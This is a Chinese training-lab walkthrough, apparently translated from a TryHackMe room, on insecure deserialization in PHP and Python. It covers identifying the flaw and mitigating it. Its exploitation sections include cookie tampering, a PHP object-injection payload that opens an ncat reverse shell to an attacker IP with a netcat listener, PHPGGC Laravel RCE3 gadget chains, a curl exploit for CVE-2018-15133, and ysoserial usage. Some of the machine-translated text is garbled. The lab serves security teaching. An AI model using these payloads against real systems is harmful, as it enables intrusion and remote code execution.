靶场概述
难度:
描述:
基本信息
🚀 | 本地机器信息 | 目标机器信息 |
---|---|---|
IP | 10.17.5.121 | |
OS | kali |
介绍
用户提供的输入一直是漏洞的催化剂,在众多平台和应用程序中构成持续威胁。利用用户输入(从 SQL 注入到跨站点脚本)是保护 Web 应用程序的一个众所周知的挑战。另一个与用户输入相关的不太为人知但同样危险的漏洞是不安全的反序列化。
当应用程序足够信任序列化数据以使用它而不验证其真实性时,就会发生不安全的反序列化漏洞。这种信任可能会导致灾难性的后果,因为攻击者会操纵序列化对象来实现远程代码执行、提升权限或发起拒绝服务攻击。这种类型的漏洞在各种编程环境(如 Java、.NET 和 PHP)中序列化和反序列化复杂数据结构的应用程序中普遍存在,这些环境通常使用序列化进行远程过程调用、会话管理等。
学习目标
在整个课程中,您将全面了解以下关键概念:
序列化和反序列化过程的工作原理
Web 应用程序的潜在风险
开发技术
缓解措施
学习先决条件
在开始聊天室之前,建议了解以下主题:
连接到本机
您可以通过单击此任务中附带的按钮来启动虚拟机。我们稍后在会议室中使用易受攻击的应用程序来实际执行练习并熟悉各种攻击媒介。请在系统完全启动后等待 1-2 分钟,以让自动脚本成功运行。
让我们开始吧!
一些重要概念
在详细讨论不安全反序列化之前,通过一个简单的例子来理解基本概念是至关重要的。
序列化
想想序列化,就像早上收拾书包一样。你有书、笔记本、午餐盒和水瓶,你需要把它们整理进包里。序列化就像获取不同的信息(如笔记)并将它们放在一起,以便于存储或发送给朋友。
在编程中,序列化是将对象的状态转换为人类可读或二进制格式(或两者的混合)的过程,这些格式可以在需要时存储或传输和重建。在必须在系统的不同部分之间或跨网络传输数据的应用程序(例如基于 Web 的应用程序)中,此功能至关重要。
1 | $noteArray = array("title" => "My THM Note", "content" => "Welcome to THM!"); $serialisedNote = serialize($noteArray); // Converting the note into a storable format file_put_contents('note.txt', $serialisedNote); // Saving the serialised note to a file ?> |
以下输出显示文件中的序列化字符串,其中包括注释的结构和内容的详细信息。它的存储方式可以轻松保存或传输。note.txt
序列号注释:a:2:{s:5:"title";s:12:"My THM Note";s:7:"content";s:12:"Welcome to THM!";}
反序列化
想象一下,你到达学校,需要你今天早上打包的所有东西。反序列化就像你上课时打开书包;您取出每件物品,以便您可以全天使用。当您打开包包去拿书和午餐时,反序列化会获取打包的数据并将其转换回您可以使用的数据。反序列化是将格式化数据转换回对象的过程。它对于从文件、数据库或跨网络检索数据,将其恢复到其原始状态以供应用程序使用至关重要。
按照我们前面的例子,以下是如何在 PHP 中反序列化 note 数据:
1 |
|
此代码从文件中读取序列化的注释并将其转换回数组,从而有效地重建原始注释。讨论序列化还需要进行有关安全性的对话。就像您不希望有人篡改您的书包一样,不安全的反序列化可能会导致软件应用程序出现重大安全漏洞。攻击者可能会更改序列化对象以执行未经授权的操作或窃取数据。
涉及序列化漏洞的特定事件
让我们讨论一下序列化漏洞在网络安全漏洞或攻击中发挥关键作用的具体事件,强调安全序列化实践的重要性。这些示例说明了攻击者如何利用序列化缺陷来实现远程代码执行、数据泄露等。
Log4j 漏洞 CVE-2021-44228
- 事件:Log4j 漏洞或 Log4Shell 是在 Apache Log4j 2 库(Java 应用程序中广泛使用的日志记录库)中发现的一个严重安全漏洞。该漏洞允许远程攻击者通过利用库的不安全反序列化功能在受影响的系统上执行任意代码。如果您想了解有关此漏洞的更多信息,请查看 Solar 利用 log4j 房间。
- 冲击: 该漏洞促进了远程代码执行,使攻击者能够在受影响的系统上执行任意命令。这允许攻击者破坏关键基础设施,从而导致未经授权访问敏感数据、服务中断和潜在的供应链攻击。
WebLogic Server 远程代码执行 CVE-2015-4852
- 事件:此漏洞与 Oracle WebLogic Server 反序列化数据发送到 T3 协议的方式有关。攻击者可以向服务器发送恶意制作的对象,当反序列化时,会导致远程代码执行。
- 影响:此漏洞被广泛利用,用于未经授权访问系统、部署勒索软件或窃取数据。它影响了未禁用易受攻击的服务或修补问题的所有 WebLogic Server 版本。
Jenkins Java 反序列化 CVE-2016-0792
- 事件:Jenkins 是软件开发中使用的一种常用自动化服务器,它遇到了一个涉及 Java 反序列化的严重漏洞。攻击者可以将构建的序列化有效负载发送到 Jenkins CLI,当反序列化时,该 CLI 可能允许执行任意代码。
- 影响:这允许攻击者执行 shell 命令,从而可能接管 Jenkins 服务器,该服务器通常可以广泛访问软件开发环境,包括源代码、构建系统和可能的部署环境。
序列化格式
虽然不同的编程语言可能使用不同的关键字和函数进行序列化,但基本原则是一致的。众所周知,序列化是将对象的状态转换为可以轻松存储或传输的格式,然后在以后重建的过程。无论是 Java、Python、.NET 还是 PHP,每种语言都实施序列化以适应其环境固有的特定功能或安全措施。
与其他利用用户输入的即时处理的常见漏洞不同,不安全的反序列化问题涉及与应用程序核心逻辑的更深层次交互,通常会操纵其组件的基本行为。
现在,让我们探索一下如何在不同语言中显式处理序列化,探索其功能、语法和独特特性。
PHP序列化
在 PHP 中,序列化是使用函数完成的。此函数将 PHP 对象或数组转换为表示对象数据和结构的字节流。生成的字节流可以包括各种数据类型,例如字符串、数组和对象,使其唯一。为了说明这一点,让我们考虑一个 notes 应用程序,用户可以在其中保存和检索他们的 notes。我们将创建一个名为 Notes 的 PHP 类来表示每个注释并处理序列化和反序列化。serialize()
1 | class Notes { |
在我们的 Notes 应用程序中,当用户保存笔记时,我们使用 PHP 的函数序列化 Notes 类对象。这会将对象转换为可以存储在文件或数据库中的字符串表示形式。让我们看一下以下序列化 Notes 类对象的代码片段:serialize()
1 | $note = new Notes("Welcome to THM"); |
访问链接并输入任何字符串以序列化或反序列化。例如,如果您输入字符串 Welcome to THM,它将生成如下所示的输出:http://10.10.133.158/phptest/``O:5:"Notes":1:{s:7:"content";s:14:"Welcome to THM";}
让我们解码输出:
O:5:"Notes":1:
:这部分表示序列化数据表示 Notes 类的对象,该类具有一个属性。s:7:"content"
:表示长度为 7 个字符的属性名称 “content”。在序列化数据中,字符串用 后跟字符串的长度和双引号中的字符串表示。整数表示,后跟不带引号的数值。s``i
s:14:"Welcome to THM"
:这是 content 属性的值,长度为 14 个字符。
神奇的方法
PHP 提供了几种神奇的方法,它们在序列化过程中起着至关重要的作用。下面提到了一些重要的方法:
__sleep()
:此方法在序列化之前对对象调用。它可以清理资源,例如数据库连接,并期望返回应序列化的属性名称数组。__wakeup()
:该方法在反序列化时调用。它可以重新建立对象可能需要正常运行的任何连接。__serialize()
:从 PHP 7.4 开始,此方法允许你通过返回一个表示对象的序列化形式的数组来自定义序列化数据。__unserialize()
:此对应项允许从对象的序列化数据中自定义对象的恢复。__serialize()
python
Python 使用一个名为 Pickle 的模块来序列化和反序列化对象。该模块将 Python 对象转换为字节流(反之亦然),使其能够保存到文件中或通过网络传输。Pickling 是 Python 开发人员的强大工具,因为它可以处理几乎所有类型的 Python 对象,而无需手动处理对象的状态。我们将在 Python 中遵循与 PHP 中相同的 notes 应用程序。以下是该类的代码片段:app.py
1 | import pickle |
酸洗工艺
- 创建 Notes 类:此类管理注释列表。它提供了添加注释和检索所有注释的方法,从而可以轻松管理应用程序的状态。
- 序列化 (Pickling):当用户提交注释时,Notes 类实例(包括所有注释)将使用 .此函数将 Python 对象转换为二进制格式,以便 Python 稍后可以将其转换回对象。
pickle.dumps()
显示序列化数据 (base64 编码)
- 为什么使用 base64:序列化数据是二进制的,不能在所有环境中安全地显示。二进制数据可能包含可能干扰通信协议(如 HTTP)的字节。Base64 是一种将二进制数据转换为纯文本的编码方案。它仅使用可读字符,因此可以安全地通过不支持二进制数据的通道进行传输。
- 编码过程:序列化对象后,使用 .此字符串可以安全地显示在 HTML 中,并且易于存储或传输。
Notes``base64.b64encode()
反序列化 (Unpickling)
- Base64 解码:解封时,首先使用 .
base64.b64decode()
- 解封:然后将二进制数据传递给 ,后者从二进制流中重建原始 Python 对象。
pickle.loads()
同样,访问链接并输入字符串 Welcome to THM:http://10.10.133.158:5000
- Pickling:当这个字符串被 pickle 时,它会被转换为人类不可读的二进制格式。此二进制格式包含有关数据类型、数据本身以及重建对象所需的其他必要元数据的信息。
- Base64 编码:然后将腌制数据的二进制形式编码为 Base64 字符串,该字符串可能类似于 .
gASVIQAAAAAAAACMBFdlbGNvbWXCoGFkZYFdcQAu
在探索序列化格式时,我们讨论了如何在 PHP 和 Python 中实现这一关键功能。PHP 利用 and 函数来管理对象和其他数据类型到可以轻松重建的可存储格式的转换。同样,Python 使用该模块将对象序列化为字节流,并将它们反序列化回其原始状态。serialize()``unserialize()``Pickle
除了这两种语言之外,序列化是各种编程环境的通用功能,每个环境都有独特的实现和库。在 Java 中,通过接口促进了对象序列化,允许将对象转换为字节流,反之亦然,这对于网络通信和数据持久性至关重要。对于 .NET,序列化多年来已经发生了重大变化。最初,通常用于二进制序列化;但是,出于安全考虑,现在不鼓励使用它。现代 .NET 应用程序通常用于 JSON 序列化,或用于 XML 任务的 System.Xml.Serialization,这反映了向更安全、更标准化的数据交换格式的转变。Ruby 的 模块以序列化和反序列化对象而闻名,对于更人类可读的格式,它通常使用 YAML。每种语言的序列化方法都反映了其使用上下文和安全注意事项,强调了理解和正确实施序列化以确保 Web 应用程序中数据的完整性和安全性的重要性。Serializable``BinaryFormatter``System.Text.Json``Marshal
鉴定
在彻底了解不同编程语言的序列化之后,我们现在将过渡到网络安全的一个关键方面,利用和缓解与序列化相关的漏洞。在讨论漏洞利用技术的细节之前,了解如何识别应用程序中的这些漏洞至关重要,无论您是否可以访问代码(白盒测试)还是无法访问(黑盒测试)。
当可以访问源代码时,识别序列化漏洞可能更直接,但需要敏锐地了解要查找的内容。例如,通过代码审查,我们可以对源代码进行 e xamine 以使用序列化函数,例如 、 、 ) 等。我们必须特别注意用户提供的 input 可能直接传递给这些函数的任何点。serialize()``unserialize()``pickle.loads(
无法访问源代码
在审计应用程序而不访问其源代码时,挑战在于仅根据外部观察和交互推断它如何处理数据。这通常称为黑盒测试。在这里,我们专注于检测服务器响应和 Cookie 中的模式,这些模式可能表明使用了序列化和潜在漏洞。作为渗透测试人员,在 PHP 文件名末尾使用波浪号 是攻击者用来尝试访问文本编辑器或版本控制系统创建的备份或临时文件的常见技术。编辑或保存文件时,某些文本编辑器或版本控制系统可能会制作原始文件的备份副本,并在文件名后附加波浪号。~
分析 Server 响应
- 错误消息: 某些错误消息可以间接指示序列化问题。例如,PHP 可能会抛出错误或警告,其中包含诸如 Object deserialisation error 之类的短语,这些是底层序列化过程和潜在漏洞点的泄露。
**unserialize()**
- 应用程序行为的不一致:响应纵的输入(例如,修改的 cookie 或 POST 数据)的意外行为可能表明数据反序列化和处理方式存在问题。观察应用程序如何处理更改的序列化数据可以提供有关可能易受攻击的代码的线索。
检查 Cookie
Cookie 通常用于在 Web 应用程序中存储序列化数据。通过检查 cookie 的内容,通常可以推断:
- Cookie 中的 Base64 编码值(PHP 和 .NET):如果 Cookie 包含看起来经过 base64 编码的数据,则解码可能会显示序列化对象或数据结构。PHP 经常使用序列化进行会话管理,并以序列化格式存储会话变量。
- ASP.NET 视图状态:.NET 应用程序可能会在发送到客户端浏览器的视图状态中使用序列化。有时可以看到一个名为 的字段,该字段是 base64 编码的。解码和检查它可以揭示它是否包含可能被利用的序列化数据。
__VIEWSTATE
在此任务中,我们学习了如何识别漏洞。在接下来的任务中,我们将研究利用此漏洞的各种技术。
利用 - 更新属性
在本任务中,我们将探索 PHP 中的一个实际示例,使用一个简单的笔记共享应用程序作为我们的案例研究。我们的笔记共享应用程序允许用户轻松创建、保存和共享笔记。用户可以将他们的笔记输入到应用程序中,然后保存以备将来参考。此外,用户可以与他人共享他们的笔记,从而促进协作和信息交换。该应用程序还包括基于订阅的功能,确保只有订阅的用户才能访问某些功能,例如笔记共享。您可以通过访问访问该网站 链接 .http://10.10.133.158/case1
让我们看看应用程序是如何构建的。
定义 Notes 类
该应用程序有一个类,表示应用程序中的注释。此类具有三个私有属性:、 和 。我们还有 setter 和 getter 方法来操作属性。Notes``user``role``isSubscribed``isSubscribed
1 | class Notes { |
在 Cookie 中存储用户数据
当用户第一次访问我们的应用程序时,它会设置一个包含其用户数据的序列化 cookie。这包括其用户名、角色和订阅状态 ()。如果用户是付费会员 (isSubscribed = true),则允许他们共享笔记。isSubscribed
利用漏洞
在此步骤中,我们将说明攻击者如何通过修改序列化 cookie 值来利用漏洞来获得对共享笔记的未经授权的访问权限。
- 序列化 cookie:解码 base64 编码的 cookie 值后,我们获得 Notes 对象的以下序列化表示:
1 | O:5:"Notes":3:{s:4:"user";s:5:"guest";s:4:"role";s:5:"guest";s:12:"isSubscribed";b:0;} |
正如我们已经知道的,在 PHP 序列化中,类名在属性名前面加上前缀,以防它不是公开的,以确保唯一性并帮助反序列化。这是 PHP 在内部处理对象序列化和反序列化的一部分。当一个对象被序列化时,PHP 会存储对象的属性和类名。这确保了当对象稍后被反序列化时,PHP 知道要实例化哪个类以及如何将序列化数据正确地分配给对象的属性。让我们将序列化的 note 分解为它的各个组成部分:
- O:5:“Notes”:3: 这表示类名为 Notes 的对象 (O),该对象具有三个属性。
- s:4:“用户”;s:5:“guest”:这表示长度为 4 个字符的字符串,表示值为 “guest” 的属性。
user
- s:4:“角色”;s:5:“guest”:与上一个类似,它表示值为 “guest” 的属性。
role
- s:12:“isSubscribed”;b:0:这表示一个布尔值 (b) 属性,其值为 false (0)。
isSubscribed
利用漏洞
在当前场景中,当用户想要尝试共享笔记时,他们会收到以下弹出窗口:
现在,后端发生了什么?后端 PHP 代码验证传入的 cookie,对其进行反序列化,然后验证用户是否已订阅。我们的主要任务是绕过这一点。
假设攻击者拦截了这个序列化的 cookie 值,并将属性从 false (0) 修改为 true (1)。攻击者可以通过更改序列化数据中的布尔值,在未经合法授权的情况下操纵订阅状态。isSubscribed
修改后,攻击者将再次对序列化数据进行 base64 编码,并将原始 cookie 值替换为修改后的 cookie 值。这将授予他们在未经授权的情况下在其他平台上共享笔记的权限,从而绕过预期的订阅限制。
利用 - 对象注入
对象注入是由于 Web 应用程序中不安全的数据反序列化而引起的漏洞。当不受信任的数据被反序列化为对象时,攻击者可以操纵序列化数据来执行任意代码,从而导致严重的安全风险。在本任务中,我们将探索对象注入的工作原理,并通过一个简单的 PHP 代码片段演示其影响。
众所周知,该漏洞来自序列化和反序列化过程,该过程允许将 PHP 对象转换为可存储格式(序列化)并重建回对象(反序列化)。虽然序列化和反序列化对于数据存储和传输很有用,但如果实施不当,它们也会带来安全风险。
要利用 PHP 对象注入漏洞,应用程序应包含一个具有 PHP 魔术方法(如 或 )的类,该方法可被用于恶意目的。在调用该方法之前,应声明所有涉及攻击的类(除非支持对象自动加载)。__wakeup``__sleep``unserialize()
例
让我们考虑一个代码片段,它显示了使用 and 函数的序列化和反序列化。该代码接受 GET 参数 decode 或 encode,并相应地转换用户提供的值。index.php``serialize()``unserialize()
1 |
|
例如,如果我们通过 URL http://10.10.133.158/case2/?encode=hellothm 发送输入 hellothm,我们将得到以下输出:
我们看到代码包含一个名为 .从源代码审查或考虑框架是否开源,渗透测试者知道它包含一个名为 class 的类,如下所示:test.php``test.php``MaliciousUserData
1 |
|
在上面的代码中,通过不安全的反序列化,可以操作对象的属性,包括更改上述代码中类的属性。这可以通过制作包含所需属性值的特制序列化字符串来实现。例如,如果我们想修改 属性以执行不同的命令或连接到不同的服务器,我们可以序列化具有所需属性值的对象,然后将其注入到易受攻击的 函数中。这样,在反序列化时,作的属性值将被加载到对象中。command``MaliciousUserData``command``unserialize()
重要的是要了解在不安全的反序列化期间,你不能直接更新方法本身的定义。该方法是类定义的一部分,在反序列化过程中保持静态。但是,您可以做的是在方法中修改对象的行为或属性。这意味着,虽然该方法的定义保持不变,但可以操纵它在反序列化时的操作以实现不同的结果。__wakeup``__wakeup``__wakeup
现在我们已经了解了基础知识,是时候准备有效负载了。
准备 Payload
如前所述,调用另一个类是 PHP 中的正常功能,如果目标网站使用的是开源代码,则可以查看该文件的代码。 中的代码盲目地反序列化输入,而不执行任何清理。这里有什么选项?如果我们修改类并修改其属性,以便在调用函数时,将使用攻击者提供的值调用它,该怎么办?index.php``MaliciousUserData``command``__wakeup
让我们在 AttackBox 上创建一些 PHP 代码,以生成恶意序列化用户数据。
1 |
|
在上面的代码中,类 () 的函数将使用 Ncat 执行反向 shell 命令,以连接到指定的 IP 地址 () 和带有 -e 标志的端口 () 作为 shell 执行
_wakeup()``MaliciousUserData``test.php``ATTACK_IP``4444``/bin/sh
创建文件后,通过终端执行它。这将返回该类的 base64 编码的序列化对象。
php index.php``MaliciousUserData
生成的 base64 编码字符串将如下所示:.
TzoxNzoiTWFsaWNp[Redacted]
使用 AttackBox 上的命令在端口 4444 上启动 Netcat 侦听器。
nc -nvlp 4444
现在,是时候利用不安全的反序列化了,通过访问 URL 来解码 shellcode,而不生成 shellcode。
http://10.10.133.158/case2/?decode=[SHELLCODE]
访问 URL 后,index.php 文件的 deserialise 函数将反序列化字符串并执行该函数,从而导致远程 shell。
__wakeup()
终端
1 | thm@ubuntu$ nc -nvlp 4444 |
在接下来的任务中,我们将了解允许攻击者利用漏洞的问题,以及我们如何从安全编码人员的角度保护它。
自动化脚本
在渗透测试期间自动执行脚本对于有效识别和利用 Web 应用程序中的漏洞至关重要。在本任务中,我们将探索一种名为 PHP Gadge Chain (PHPGGC) 的工具,该工具在此过程中起着至关重要的作用,可以自动发现不安全的反序列化漏洞。PHPGGC 类似于 Java 生态系统中的 Ysoserial,可帮助安全专业人员评估 PHP 应用程序的安全状况并降低潜在风险。
菲律宾小工具链 (PHPGGC)
PHPGGC 主要是一种用于生成 PHP 对象注入攻击中使用的小工具链的工具,专门用于利用与 PHP 对象序列化和反序列化相关的漏洞。
功能性
小工具链:PHPGGC 为各种 PHP 框架和库提供了小工具链库。这些小工具链是一系列对象和方法,旨在当 PHP 应用程序不安全地反序列化用户提供的数据时利用特定漏洞。
Payload Generation:PHPGGC 的主要目的是促进生成可以触发这些漏洞的序列化 payloads。它可以帮助安全研究人员和渗透测试人员创建有效载荷,以证明不安全的反序列化缺陷的影响。
Payload Customisation:用户可以通过为小工具链中涉及的函数或方法指定参数来自定义 payload,从而定制攻击以实现特定结果,例如编码。
您可以从 PHPGGC 的 GitHub 存储库下载 PHPGGC,也可以通过该目录使用 AttackBox 上已有的版本。安装的版本已经包含一些小工具链、PHP 对象序列和旨在利用反序列化漏洞的方法调用。这些小工具链利用 PHP 的神奇方法来实现各种攻击目标,例如远程代码执行。
要列出所有可用的小工具链,您可以使用 PHPGGC 的选项,它将显示用于发起特定攻击的 名称、版本、类型和向量。此外,您还可以根据小工具链的功能过滤小工具链,例如针对特定 PHP 框架或实现特定利用技术的链,使用选项后跟过滤器关键字(Drupal、Laravel 等)。这允许您为您的利用场景选择合适的小工具链,如下所示:/opt/phpggc``-l``-l
终端
1 | thm@machine$ php phpggc -l |
例如,输出 for 表示名为 的小工具链 利用了 CakePHP 版本中的 RCE 漏洞。该漏洞允许攻击者利用 magic 方法在服务器上执行任意命令 。CakePHP/RCE1``CakePHP/RCE1``3.9.6``__destruct
利用 Web 应用程序
作为渗透测试人员,我们专注于 Laravel 网站,以利用 CVE-2018-15133 下发现的已知漏洞。当 Laravel 从 . 如果不安全处理,此反序列化过程可能会导致在服务器上执行任意代码。有关漏洞的详细信息可以从 Laravel 安全版本中读取,但我们的主要重点是如何在利用过程中利用 PHP 小工具链。上述漏洞可以通过三个主要因素来利用:X-XSRF-TOKEN
- 第 1 步:需要来自 Laravel,框架使用它来加密 XSRF 令牌。
APP_KEY
- 第 2 步:使用 PHPGGC 生成执行命令的未序列化有效负载。这被认为是一项复杂的任务,该工具可以提供帮助。
- 第 3 步:最后,我们必须使用 APP_KEY 加密有效负载并发送 POST 请求。这通常因框架而异。
在这个任务中,我们的重点将主要放在第 2 步,并了解 PHPGGC 将如何帮助我们作为渗透测试人员。访问 http://10.10.133.158:8089 易受攻击的 Laravel 应用程序。作为渗透测试人员,我们可以通过多种技术来识别 Web 应用程序版本。您可以访问 信息收集和漏洞扫描 模块以详细了解这一点。Laravel 应用程序版本为 5.6.29。
现在我们将详细地逐步开发:
第一步,我们将通过任何攻击媒介(例如社会工程)获取APP_KEY。您可以通过访问 http://10.10.133.158:8089/get-key 来获得。为方便起见,此页面还将为您提供第一个具有 whoami 命令的有效负载。
APP_KEY
对于第二步,我们需要确定我们可以使用的有效负载。
终端
1 | thm@machine$ php phpggc -l Laravel |
展望未来,我们可以使用各种小工具生成有效负载。每个 gadget 都有其相关性,并在反序列化过程中使用不同的类。在此示例中,我们将使用 RCE3,并可以通过键入 base-64 编码的有效负载的命令来生成有效负载。未编码的有效负载如下所示:php phpggc -b Laravel/RCE3 system whoami
终端
1 | thm@machine$ php phpggc Laravel/RCE3 system whoami O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"*events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"*app";s:6:"whoami";s:17:"*defaultChannel";s:1:"x";s:17:"*customCreators";a:1:{s:1:"x";s:6:"assert";}}} |
Payload 的细分
Illuminate\Broadcasting\PendingBroadcast
:此类处理 Laravel 中的事件广播。在这里,它主要是携带嵌套恶意对象的工具。Illuminate\Notifications\ChannelManager
:此对象管理通知通道。我们通过其属性 操作它以注入任意代码执行,该属性通常会引用应用程序服务容器。我们滥用它来保持我们的命令。我们还操作了 twist 的 and 属性,以创建一个调用 PHP 函数的场景,并执行传递给它的任何代码。*app``whoami``*defaultChannel``*customCreators``assert
正如我们已经知道的,Laravel 最初使用加密和序列化的 cookie 来安全地存储会话和 CSRF 令牌数据,两者使用相同的方法。如果您访问易受攻击的应用程序,您可以看到加密和序列化的 cookie,如下所示:
基本思想是避免篡改不良行为者的数据,但尽管如此,他们没有意识到,即使是如此强大的安全机制也可能通过不安全的序列化而被破坏。
现在我们有了 and 有效负载,是时候创建一个加密的 CSRF 令牌了。为了这个房间,我们准备了一个 PHP 脚本,该脚本将 APP_KEY 和 payload 作为参数并返回加密的令牌。您可以在 http://10.10.133.158:8089/cve.php?app_key=xx&payload=xxx 访问该链接。 为方便起见,此 URL 已具有 URL 编码的密钥和带有 whoami 命令的第一个有效负载。了解 Laravel 和 WordPress 等框架的加密机制是一项简单的任务,但目前,它超出了房间的范围。APP_KEY
在对 Yii、CakePHP 和 Laravel 等 Web 框架进行渗透测试时,必须了解每个框架都有独特的路由和加密机制,尽管它们都是基于 PHP 构建的。这些框架采用不同的架构和安全实现设计,这意味着像 Laravel 中的 RCE3 这样的漏洞,特别是利用 Laravel 的服务容器和序列化行为,不一定适用于 WordPress 或其他基于 PHP 的系统。例如,WordPress 具有不同的结构,并且不使用 Laravel 的特定类或方法,因此为 Laravel 架构量身定制的漏洞不会直接在 WordPress 上运行。
现在我们已经有了加密的令牌,我们可以使用 CSRF 令牌发出一个简单的 POST 请求,如下所示来执行命令。有效负载结果将显示在响应的开头。cURL
终端
1 | thm@machine$curl 10.10.133.158:8089 -X POST -H 'X-XSRF-TOKEN: eyJpdiI6Im01dXZ0QXhrVm5iUHFOZWxCSnFINHc9PSIsInZhbHVlIjoiSWxhVDZZXC9cL0dyTTNLQVVsNVN6cGpFRXdYeDVqN1RcL3d0Umhtcnd2TzlVM1I5SnZ3OVdyeVFjU3hwbFwvS2dvaUF5ZlpTcW04eThxdXdQVWE5K08xSWU4Q1FWMG5GVjhlKzJkdEUwUnhXYXNuamFaWDI4bXFIZ1FaOHRWRGtVaE1EVGRxeE8xcGp0MWc0ZjNhMU5cL1BWdlQ0ZjdwdmRJWHRFYXR1YUUyNUNHTG0rRlNqWkxDSU9vSlI1MGhUNmtFQytpdnVmTnRlTVFNKzZhRDQ0amhBRXNGaUZMcmplMWdQajhINDBsY05sNis2d28rdktGNU04bklIdEUrVGczR3hseXQ0eEF4RjJoSU1oYXZVU3ZhSk1CUjlEKzZzaEdJRHk5RXlscjhOSUh5bjl0MitUeEx2Y281VTZUY29Ea0kyRiIsIm1hYyI6ImE1OGY2MjBhZThmYjdhMTgyMzA1M2IwNGExZmJkZTMzOTA2ZDBhMDI5N2Y3OWQzNDYwNzJjZTgyNjIzNmFhMTMifQ=='| head -n 2 |
适用于 Java 的 Ysoserial
Ysoserial 是一种广为人知的漏洞利用工具,专门用于测试 Java 应用程序的安全性以应对序列化漏洞。它有助于生成利用这些漏洞的有效负载,使其成为旨在评估和利用使用 Java 序列化的应用程序的攻击者和渗透测试人员的重要工具。
要使用 Ysoserial,攻击者通常会使用命令生成有效负载,例如 ,其中 是漏洞利用的类型,是他们希望在目标系统上运行的任意命令。例如,使用有效负载类型可能如下所示:。此命令会生成一个序列化对象,当被易受攻击的应用程序反序列化时,该对象将执行指定的命令。Ysoserial 可在 GitHub 上下载。java -jar ysoserial.jar [payload type] '[command to execute]'``[payload type]``[command to execute]``CommonsCollections1``java -jar ysoserial.jar CommonsCollections1 'calc.exe'
降低与不安全反序列化相关的风险对于确保 Web 应用程序的安全性至关重要。通过实施有效的防御措施,组织可以显著降低漏洞利用的可能性并减轻
潜在损害。我们将从红队/渗透测试员和安全代码的角度来讨论这个问题。
缓解措施
Red Teamer / 渗透测试器视角
- 代码库分析:对应用程序的序列化机制进行全面审查。确定整个代码库中潜在的反序列化和序列化点。
- 漏洞识别:使用静态分析工具检测不安全的反序列化漏洞。查找不正确的输入验证、不安全的库和过时的依赖项。
- 模糊测试和动态分析:采用模糊测试技术生成无效或意外的输入数据。使用动态分析工具监控应用程序在运行时的行为。
- 错误处理评估:评估应用程序在反序列化期间如何处理错误。查找揭示系统详细信息的潜在错误消息或堆栈跟踪。
Secure Coder 视角
- 避免不安全的序列化格式:避免使用本质上不安全的序列化格式,例如 Java 序列化。选择更安全的替代方案,例如具有强大验证机制的 JSON 或 XML。
- 避免使用 eval 和 exec:避免使用 and 函数,因为它们可以执行任意代码并带来重大安全风险。
eval()``exec()
- 输入验证和输出编码:实施严格的输入验证,以确保只接受预期的数据。应用输出编码技术在序列化之前清理数据。
- 安全编码做法:遵循安全标准和准则建议的安全编码做法。采用最低特权、深度防御和故障安全默认值等原则。
- 遵守准则:已建立特定于编程语言或框架的安全编码准则。